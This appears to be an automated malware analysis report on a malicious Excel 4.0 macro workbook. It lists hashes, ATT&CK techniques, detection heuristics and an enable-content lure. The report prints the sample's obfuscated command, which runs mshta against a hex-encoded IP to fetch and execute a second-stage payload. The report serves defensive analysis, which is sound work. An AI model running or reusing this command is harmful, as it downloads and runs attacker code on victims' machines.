Office (OLE) / .XLS malware analysis — malicious · 6564dee635312b92

MALICIOUS

Office (OLE) / .XLS

65.6 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: a003ebd3c7c052a66864cfb0aebed57a SHA-1: 39881ecfe6c6eb931871d098fff88250603aedd2 SHA-256: 6564dee635312b928ecfcfecc8b04a008dca1f75fd3393cd59737936c73b2c7c

100 Risk Score

Malware Insights

MITRE ATT&CK

T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an Excel file containing Excel 4.0 macros, indicated by the OLE_XLM_AUTOOPEN heuristic. The document body presents a lure to enable editing and content, a common tactic for macro-based malware. The extracted macro script contains a command to execute a URL, specifically 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which likely downloads and executes a second-stage payload. The presence of an Auto_Open macro and the execution command strongly suggest malicious intent.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

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